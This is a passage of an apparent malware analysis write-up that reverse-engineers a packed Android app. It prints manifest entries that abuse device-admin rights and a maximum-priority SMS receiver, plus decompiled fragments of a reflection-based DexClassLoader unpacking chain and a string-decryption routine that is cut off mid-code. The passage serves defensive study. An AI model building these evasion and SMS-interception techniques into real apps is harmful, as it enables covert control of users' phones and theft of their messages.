&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:resource=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@xml/admin&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.action.DEVICE_ADMIN_ENABLED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.action.DEVICE_ADMIN_DISABLED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/receiver&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/device-admin.png" alt="device-admin">&lt;/p>
&lt;p>The related &lt;code>res/xml/admin.xml&lt;/code> file contains the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8ec07c">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;utf-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;device-admin&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;uses-policies&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;force-lock/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;set-global-proxy/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;encrypted-storage/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/uses-policies&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/device-admin&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="dive-deeper">Dive Deeper&lt;/h2>
&lt;p>The &lt;strong>first class instantiated&lt;/strong> as defined in the &lt;code>AndroidManifest.xml&lt;/code> file is &lt;code>com.bean.cousin.RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh&lt;/code>.&lt;/p>
&lt;p>This class extends &lt;code>Application&lt;/code> class and overrides &lt;code>onCreate()&lt;/code> and &lt;code>attachBaseContext()&lt;/code> callbacks.&lt;/p>
&lt;p>&lt;img src="./media/application-class.png" alt="application-class">&lt;/p>
&lt;h4 id="content-provider">Content Provider&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;provider&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;androidx.core.content.FileProvider&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;false&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:authorities=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.devapprove.a.ru.news.provider&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:grantUriPermissions=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;meta-data&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.support.FILE_PROVIDER_PATHS&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:resource=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@xml/file_provider_paths&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/provider&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Malware registers a content-provider for file sharing using &lt;code>content://&lt;/code> scheme.&lt;/p>
&lt;h4 id="received-sms">Received SMS&lt;/h4>
&lt;ul>
&lt;li>&lt;code>android.permission.RECEIVE_SMS&lt;/code>&lt;/li>
&lt;li>&lt;code>android.intent.action.DATA_SMS_RECEIVED&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Android generates a &lt;code>SMS_RECEIVED&lt;/code> broadcast when a new SMS is received. The malware abuses the priority attribute (assigns the maximum value) in order to receive the SMS broadcast first.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;receiver&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.devapprove.a.ru.news.SmsReceiver&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BROADCAST_SMS&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:enabled=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:priority=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;9999&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.provider.Telephony.SMS_DELIVER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/receiver&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/sms-broadcast-receiver.png" alt="sms-broadcast-receiver">&lt;/p>
&lt;h4 id="main-activity">Main Activity&lt;/h4>
&lt;p>The main activity of the application is &lt;code>com.devapprove.a.ru.news.ui.LauncherActivity&lt;/code> which is not found in the &lt;code>classes.dex&lt;/code>. This an indication that the malware is packed and other classes will be loaded into the application&amp;rsquo;s process memory at run-time.&lt;/p>
&lt;blockquote>
&lt;p>Packers typically encrypt the original &lt;code>classes.dex&lt;/code> file and embed code (stub) which decrypts the DEX file at runtime and executes it using &lt;code>DexClassLoader&lt;/code> class.&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;activity&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:theme=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@android:style/Theme.Translucent.NoTitleBar.Fullscreen&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.devapprove.a.ru.news.ui.LauncherActivity&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;category&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.category.LAUNCHER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.action.MAIN&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/activity&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/main-activity.png" alt="main-activity">&lt;/p>
&lt;p>Looking for a &lt;code>DexLoader&lt;/code> class we find the following method:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> DexClassLoader &lt;span style="color:#fabd2f">uncovercherry&lt;/span>&lt;span style="color:#fe8019">(...)&lt;/span> &lt;span style="color:#fe8019">throws&lt;/span> Exception &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Constructor constructor &lt;span style="color:#fe8019">=&lt;/span> DexClassLoader&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">class&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getConstructor&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">class&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">class&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">class&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> ClassLoader&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">class&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DexClassLoader dexClassLoader &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>DexClassLoader&lt;span style="color:#fe8019">)&lt;/span> constructor&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">newInstance&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>str&lt;span style="color:#fe8019">,&lt;/span> str2&lt;span style="color:#fe8019">,&lt;/span> str3&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>ClassLoader&lt;span style="color:#fe8019">)&lt;/span> pathhub&lt;span style="color:#fe8019">(&lt;/span>field&lt;span style="color:#fe8019">,&lt;/span> weakReference&lt;span style="color:#fe8019">));&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> dexClassLoader&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/dexclass-loader.png" alt="dexclass-loader">&lt;/p>
&lt;p>&lt;code>uncovercherry&lt;/code> method uses reflection ( &lt;code>DexClassLoader.class.getConstructor&lt;/code> ) to instantiate a &lt;code>DexClassLoader&lt;/code> instance.&lt;/p>
&lt;p>&lt;strong>Call graph&lt;/strong>&lt;/p>
&lt;p>Using &lt;code>androguard&lt;/code> and &lt;code>Gephi&lt;/code> we can visualize the path that leads to &lt;code>uncovercherry&lt;/code> method - which loads the external DEX file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ androguard cg 7c805f51ee3b2994e742d73954e51d7c2c24c76455b0b9a1b44d61cb4e280502.apk -o callgraph.gml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/callgraph.png" alt="callgraph">&lt;/p>
&lt;blockquote>
&lt;p>Note: Alternatively, pressing &lt;code>x&lt;/code> in Jadx-GUI to find cross-references we can move backwards from &lt;code>uncovercherry()&lt;/code> to &lt;code>attachBaseContext()&lt;/code>.&lt;/p>
&lt;/blockquote>
&lt;p>Now that we have a path &lt;code>attachBaseContext() =&amp;gt; decreasesparse() =&amp;gt; damageinform() =&amp;gt; vibrantcricket() =&amp;gt; uncovercherry()&lt;/code> let&amp;rsquo;s see how is the &lt;code>dexPath&lt;/code> parameter constructed.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>@Override &lt;span style="color:#928374;font-style:italic">// android.content.ContextWrapper
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span>&lt;span style="color:#fe8019">protected&lt;/span> &lt;span style="color:#fabd2f">void&lt;/span> &lt;span style="color:#fabd2f">attachBaseContext&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>Context context&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String dexPath &lt;span style="color:#fe8019">=&lt;/span> nobleamong&lt;span style="color:#fe8019">(&lt;/span>clusterhole&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">boolean&lt;/span> royaljungle &lt;span style="color:#fe8019">=&lt;/span> royaljungle&lt;span style="color:#fe8019">(&lt;/span>dexPath&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>royaljungle&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> decreasespare&lt;span style="color:#fe8019">(&lt;/span>dexPath&lt;span style="color:#fe8019">,&lt;/span> clusterhole&lt;span style="color:#fe8019">,&lt;/span> stringBuffer&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">context&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>dexPath&lt;/code> is initialized as the return value of the &lt;code>nobleamong&lt;/code> method, which is defined as:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> String &lt;span style="color:#fabd2f">nobleamong&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String str&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> nuclearinquiry&lt;span style="color:#fe8019">(&lt;/span>str&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>nuclearinquiry()&lt;/code> method is defined as follows:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> String &lt;span style="color:#fabd2f">nuclearinquiry&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String str&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> inflictair&lt;span style="color:#fe8019">(&lt;/span>str&lt;span style="color:#fe8019">).&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getAbsolutePath&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>inflictair()&lt;/code> is defined as:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> File &lt;span style="color:#fabd2f">inflictair&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String str&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> File&lt;span style="color:#fe8019">(&lt;/span>str&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">REpOzCiHoGjQpWpQqNnBtIu&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Inside &lt;code>RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh&lt;/code>, the attribute &lt;code>REpOzCiHoGjQpWpQqNnBtIu&lt;/code> is initialized as the return value of &lt;code>ketcupold()&lt;/code> method:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">class&lt;/span> RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh &lt;span style="color:#fe8019">extends&lt;/span> Application &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String REpOzCiHoGjQpWpQqNnBtIu &lt;span style="color:#fe8019">=&lt;/span> ketchupold&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">new&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span>&lt;span style="color:#fe8019">[&lt;/span>5&lt;span style="color:#fe8019">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">static&lt;/span> String &lt;span style="color:#fabd2f">ketchupold&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span>&lt;span style="color:#fe8019">[]&lt;/span> num&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> globeonline&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>which leads to the decryption algorithm.&lt;/p>
&lt;p>Using the following program we can print the original name which is &lt;code>CtaDwII.json&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">import&lt;/span> java.util.*&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">import&lt;/span> java.lang.*&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">import&lt;/span> java.io.*&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">// The main method must be in a class named &amp;#34;Main&amp;#34;.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span>&lt;span style="color:#fe8019">class&lt;/span> Main &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fabd2f">void&lt;/span> &lt;span style="color:#fabd2f">main&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String&lt;span style="color:#fe8019">[]&lt;/span> args&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> System&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">out&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">println&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>globeonline&lt;span style="color:#fe8019">());&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> String &lt;span style="color:#fabd2f">globeonline&lt;/span>&lt;span style="color:#fe8019">()&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i &lt;span style="color:#fe8019">=&lt;/span> 0&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">for&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span> i2 &lt;span style="color:#fe8019">=&lt;/span> 9&lt;span style="color:#fe8019">;&lt;/span> i2 &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 41&lt;span style="color:#fe8019">;&lt;/span> i2&lt;span style="color:#fe8019">++)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i &lt;span style="color:#fe8019">=&lt;/span> 1038&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">byte&lt;/span>&lt;span style="color:#fe8019">[]&lt;/span> bArr &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>80&lt;span style="color:#fe8019">,&lt;/span> 103&lt;span style="color:#fe8019">,&lt;/span> 114&lt;span style="color:#fe8019">,&lt;/span> 87&lt;span style="color:#fe8019">,&lt;/span> 100&lt;span style="color:#fe8019">,&lt;/span> 90&lt;span style="color:#fe8019">,&lt;/span> 90&lt;span style="color:#fe8019">,&lt;/span> 61&lt;span style="color:#fe8019">,&lt;/span> 121&lt;span style="color:#fe8019">,&lt;/span> 96&lt;span style="color:#fe8019">,&lt;/span> 124&lt;span style="color:#fe8019">,&lt;/span> 125&lt;span style="color:#fe8019">};&lt;/span>
